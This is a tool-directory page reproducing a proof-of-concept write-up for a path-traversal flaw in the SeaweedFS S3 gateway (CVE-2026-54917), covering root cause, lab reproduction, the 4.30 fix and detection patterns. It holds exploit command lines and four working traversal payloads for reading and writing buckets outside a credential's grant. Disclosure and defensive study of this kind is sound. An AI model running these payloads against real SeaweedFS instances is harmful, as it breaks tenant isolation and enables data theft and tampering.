Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-54917-SeaweedFS-Cross-Bucket-Traversal — PoC + analysis for CVE-2026-54917 — SeaweedFS S3 gateway cross-bucket path traversal (CVSS 10.0, <4.30). Read/write any bucket via .. in the object key. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-54917-seaweedfs-cross-bucket-traversal
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingCloud Security
GitHubbiitts/cve-2026-54917-seaweedfs-cross-bucket-traversal

CVE-2026-54917-SeaweedFS-Cross-Bucket-Traversal

PoC + analysis for CVE-2026-54917 — SeaweedFS S3 gateway cross-bucket path traversal (CVSS 10.0, <4.30). Read/write any bucket via .. in the object key.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
15 days agoNot yet reviewed

CVE-2026-54917 — SeaweedFS S3 gateway cross-bucket path traversal

Proof-of-concept and technical write-up for CVE-2026-54917, a path-traversal in the SeaweedFS S3 API gateway that lets a caller reach objects in any bucket, regardless of what its credentials are authorized for.

CVECVE-2026-54917
AdvisoryGHSA-w62w-66v9-vvgv
ProductSeaweedFS — S3 API gateway (weed s3, and the S3 endpoint in weed server)
Affected< 4.30
Patched4.30
WeaknessCWE-22 — Improper Limitation of a Pathname to a Restricted Directory
Severity10.0 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
StatusCONFIRMED VULNERABLE on 4.29 · PATCHED on 4.30 (verified end-to-end)
root@kitploit:~
├── exploit.py           self-contained exploit (read + write, 4 traversal encodings)
├── README.md            this file
├── ANALYSIS.md          source-level root-cause walkthrough
├── EVIDENCE.txt         raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff      the security-relevant portion of the official fix
└── lab/                 one-command reproduction (docker-compose / setup.sh)

Summary

The S3 API router is built with mux.NewRouter().SkipClean(true). With path cleaning disabled, a .. segment inside the request path survives routing. A request such as:

root@kitploit:~
GET /bucket-a/../evil-bucket/secret.txt

is matched by the mux route as {bucket} = "bucket-a", {object} = "../evil-bucket/secret.txt".

Two things then diverge:

  • Authorization runs against the mux {bucket} variable — bucket-a — which the caller is allowed to use.
  • I/O joins the object key into a filer path (bucketDir(bucket) + "/" + object) and the filer collapses the .. server-side, so the read/write actually lands in evil-bucket.

The result is a classic confused deputy: IAM checks one bucket, the filesystem operates on another. A principal authorized for a single bucket can read and write objects in every other bucket on the instance.

Impact

  • enableAuth = false — direct, unauthenticated cross-bucket read/write.
  • enableAuth = true — authorization confused deputy: any authenticated principal (any tenant) reads and writes across bucket boundaries it has no grant for. This is the case demonstrated here and the reason for the 10.0 / scope-changed score: one tenant's credential breaks the isolation of all others.

Exploit

exploit.py uses only the Python standard library. It signs each request with SigV4 itself and writes the request line byte-for-byte, so the traversal path reaches the server unmodified — which is what enables the URL-encoded variants a normal S3 SDK would rewrite.

root@kitploit:~
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
  --url http://TARGET:8333 \
  --access-key <key> --secret-key <secret> \
  --auth-bucket bucket-a \          # bucket the credential IS allowed to use
  --target-bucket evil-bucket \     # bucket you are NOT allowed to use
  --key secret.txt

# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin

# try a different traversal encoding
python3 exploit.py ... --variant enc-slash        # dotdot | enc-dot | enc-slash | enc-backslash

Four traversal encodings are implemented and all confirmed on 4.29:

Reproduce

root@kitploit:~
cd lab
./setup.sh                       # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
  --access-key TENANTAKEY --secret-key tenantasecret \
  --auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly

TAG=4.30 ./setup.sh              # patched build, same steps -> HTTP 400 InvalidRequest

The lab enables IAM (lab/s3.json) with two identities: admin (full) and tenant-a (restricted to bucket-a). All exploitation uses only tenant-a's credential. See EVIDENCE.txt for the full transcript.

Root cause

See ANALYSIS.md. In short: SkipClean(true) keeps .. in the routed path; GetBucketAndObject captures the raw mux vars; IAM authorizes against {bucket}; toFilerPath joins {object} (which still contains ..) into the filer path, where it is collapsed and crosses the bucket boundary.

Fix

Patched in 4.30 (patch-4.30.diff). A validateRequestPath middleware runs before the bucket handlers and rejects any captured {bucket} / {object} var that is empty or contains a traversal segment, returning 400 InvalidRequest. Upgrade to 4.30 or later.

Detection

  • Any S3 request whose path contains /../, /%2e%2e, ..%2f, or ..%5c between the bucket segment and the key.
  • Access logs where the IAM-evaluated bucket differs from the bucket the object ultimately resolved to.

Credits

Caio Fabrício — github.com/BiiTts

Download Tool
varianton the wireeffect
dotdot/bucket-a/../evil-bucket/keyworks with a stock aws-cli too
enc-dot/bucket-a/%2e%2e/evil-bucket/keyneeds raw request (SDK re-encodes)
enc-slash/bucket-a/..%2fevil-bucket/keyneeds raw request
enc-backslash/bucket-a/..%5cevil-bucket/key\ is folded to / server-side